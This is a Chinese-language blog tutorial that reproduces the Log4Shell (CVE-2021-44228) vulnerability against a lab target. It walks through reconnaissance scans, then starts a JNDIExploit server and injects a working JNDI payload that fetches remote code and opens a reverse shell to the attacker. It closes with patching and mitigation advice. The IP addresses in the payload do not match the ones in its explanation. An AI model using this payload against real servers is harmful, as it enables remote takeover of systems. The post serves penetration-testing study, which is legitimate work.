kizumi_header_banner_img

这里是幻灬十一的博客,欢迎来到我的世界

加载中

文章导读

Log4Shell (CVE-2021-44228) 漏洞完整复现实战教程


avatar
11 2026年7月30日 22

Log4Shell (CVE-2021-44228) 漏洞完整复现实战教程

前言

CVE-2021-44228 也就是业内大名鼎鼎的 Log4Shell,是影响范围极广的 Java 日志框架远程代码执行高危漏洞,几乎所有搭载低版本 Log4j2 的 Web 服务都存在被入侵风险。本文完整记录从信息收集、漏洞探测到漏洞利用拿下靶机 Shell 的全套攻击流程,适合渗透学习复盘。

一、信息收集阶段

渗透测试第一步先对目标进行全方位资产探测,梳理开放端口、Web 目录、框架漏洞,锁定可利用攻击面。

1. Nmap 全端口 & 服务版本扫描

使用 Nmap 全端口扫描,识别目标开放端口、操作系统、服务版本,寻找潜在攻击入口。

扫描命令

nmap -p- -sV -O -Pn 10.10.1.137

扫描结果回显

扫描信息总结

  1. 开放 22 端口 SSH 服务,支持密码 / 密钥两种登录方式;
  2. 开放 80 端口 Web 服务,Web 容器为 Nginx 1.24.0;
  3. 底层系统为 Linux 内核,版本区间 4.15~5.19。

2. Dirsearch 网站目录爆破

爆破网站隐藏目录、后台地址、敏感配置文件,挖掘未公开功能入口与信息泄露点。

执行命令

bash
dirsearch -u http://10.10.1.137 -e php,html,js

工具运行日志

本次目录扫描未发现高危泄露目录,后续依靠漏洞扫描突破。

3. Nuclei 自动化漏洞扫描

Nuclei 开源漏洞扫描工具,内置海量 POC,可自动识别网站技术栈并检测已知高危漏洞。

扫描命令

bash
nuclei -u http://10.10.1.137 -silent

关键扫描输出

漏洞结果分析

扫描命中高危漏洞 CVE-2021-44228(Log4j2 RCE),为本次渗透核心突破口。

同时网站存在多处安全头缺失,存在点击劫持、跨域等基础安全缺陷。

二、漏洞利用阶段:获取靶机 Shell 权限

整体攻击链路说明

完整漏洞利用分为四大环节,JNDIExploit 工具将前三项功能集成,无需手动分步搭建服务:
  1. 内置反弹 Shell 恶意 Java 类载荷;
  2. 启动恶意 LDAP 指路服务;
  3. 启动 HTTP 恶意字节码下载服务;
  4. 攻击机开启端口监听,接收靶机反弹 Shell。

步骤 1:攻击环境准备

核心工具:JNDIExploit

专门用于 JNDI 注入漏洞利用的开源工具,集成各类 JDK 绕过载荷,一键搭建 LDAP+HTTP 恶意服务,从 GitHub 仓库下载使用。

环境硬性要求:JDK 8

JNDIExploit 依赖低版本 JDK 原生 JNDI 接口,JDK11/21 等高版本对 JNDI 做了安全限制,直接运行会出现载荷下发失败、工具报错。
我这里本身就是jdk8的环境,如果不是就需要从jdk8所在的路径启动JNDIE

步骤 2:启动 JNDIExploit 恶意服务

进入工具目录,执行启动命令,绑定攻击机本机 IP:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.16.11.137
参数说明:
  • -jar:指定运行的 jar 工具包;
  • -i:填写攻击机 Kali 内网 IP,靶机将回连该地址。

步骤 3:本地开启反弹 Shell 监听

新开终端,使用 nc 监听反弹端口,等待靶机主动连接。

步骤 4:构造漏洞 Payload 触发漏洞

漏洞注入 Payload(放置于 User-Agent、请求参数等可被日志打印的位置):
plaintext
${jndi:ldap://172.16.11.100:1389/Basic/ReverseShell/172.16.11.188/4445}

连接成功

Payload 分段解析

  1. ${jndi:...}:Log4j2 内置表达式语法,日志打印时自动解析并发起 JNDI 远程查询;
  2. ldap://172.16.11.137:1389:攻击机 LDAP 恶意服务地址,靶机首先连接该地址;
  3. Basic:基础载荷,适配 JDK8u191 及以下低版本,无需额外绕过限制;
  4. ReverseShell:载荷功能,执行系统反弹 Shell 命令;
  5. 172.16.11.137/4445:反弹 Shell 回连的攻击机 IP 与监听端口。

完整攻击执行流程

  1. 浏览器携带恶意 Payload 访问目标站点,请求头 User-Agent 内容被后端 Log4j2 日志框架捕获打印;
  2. Log4j2 解析${jndi}表达式,主动向攻击机 1389 端口发起 LDAP 查询;
  3. 攻击机 LDAP 服务返回 Reference 引用对象,指向本机 8080 端口存放的恶意 Java 类;
  4. 靶机 JVM 发起 HTTP 请求至攻击机 8080 端口,下载恶意.class 字节码文件;
  5. 靶机 JVM 加载恶意类,自动执行静态代码块内的反弹 Shell 指令;
  6. 靶机主动向外发起 TCP 连接,回连攻击机 4445 监听端口;
  7. nc 监听窗口捕获连接,成功获取靶机交互式 bash Shell 权限。

三、核心概念深度讲解

1. Log4j2

Apache 开源 Java 日志框架,是 Java 项目最主流的日志记录组件,绝大多数 Java Web 系统均使用其记录访问日志、报错信息、业务操作记录。

漏洞根源:框架会自动解析日志内容中的${jndi}表达式,触发远程 JNDI 查询逻辑,最终导致远程代码执行。

2. CVE-2021-44228(Log4Shell)

2021 年曝光的史诗级高危 RCE 漏洞,影响范围覆盖全球大量业务系统。

漏洞危害:只要攻击者可控一段会被 Log4j2 打印的输入字符串,即可注入恶意 JNDI 地址,远程执行任意系统命令,直接接管目标服务器。

本文实战核心利用漏洞,通过构造 JNDI 表达式完成靶机入侵。

3. JNDIExploit 工具

安全研究者开源的 JNDI 注入专用利用工具,内置大量 JDK 限制绕过载荷,一键启动 LDAP+HTTP 双恶意服务。

工具价值:整合恶意类编写、LDAP 服务搭建、HTTP 文件服务三大步骤,大幅降低漏洞利用门槛,无需手动编译 Java 恶意代码。

四、漏洞原理与触发必要条件

1. Log4j2 正常日志工作流程

  1. 服务接收用户提交的请求、输入数据;
  2. 开发者调用logger.info()/logger.error()等方法,将用户输入打印至日志;
  3. Log4j2 框架处理日志内容,持久化写入本地日志文件。

2. 漏洞核心成因

Log4j2 自带表达式解析功能,当日志文本中存在${jndi:xxx}格式字符串时,框架不会将其作为普通文本处理,而是主动发起 JNDI 远程查询。

完整漏洞触发逻辑:

  1. 攻击者将恶意 JNDI 表达式注入可被日志记录的位置(请求头、URL 参数、表单内容等);
  2. Log4j2 打印日志时解析表达式,主动连接攻击者搭建的恶意 LDAP 服务;
  3. LDAP 服务返回 Reference 对象,指定远程恶意 class 文件的 HTTP 下载地址;
  4. 靶机 JVM 自动发起 HTTP 请求下载恶意字节码;
  5. JVM 加载恶意类,执行静态代码块中的任意系统命令(反弹 Shell、添加管理员账号等)。

3. 漏洞利用三大必要前提

  1. 目标项目使用存在漏洞的 Log4j2 版本:2.0-beta9 ~ 2.14.1;
  2. 用户可控输入内容会被 Log4j2 框架打印输出到日志;
  3. 靶机服务器网络可访问攻击者搭建的 LDAP、HTTP 恶意服务。

五、漏洞修复建议

  1. 升级 Log4j2 至安全版本:2.16.0 及以上,彻底关闭 JNDI 表达式解析功能;
  2. 临时缓解方案:启动参数添加-Dlog4j2.formatMsgNoLookups=true关闭表达式查找;
  3. 网络层防护:WAF 拦截包含${jndi:ldap://特征的恶意请求;
  4. 限制服务器出站网络,禁止业务服务器主动访问外网陌生 LDAP/HTTP 端口。


评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码

站点统计

📄 文章 32
📁 分类 4
🏷️ 标签 0
📝 总字数 337k
⏱️ 运行 483天
头像
关于本站
在代码和动漫的夹缝里收集细碎美好
欢迎同好交流、素材互换
站点持续装修优化中✨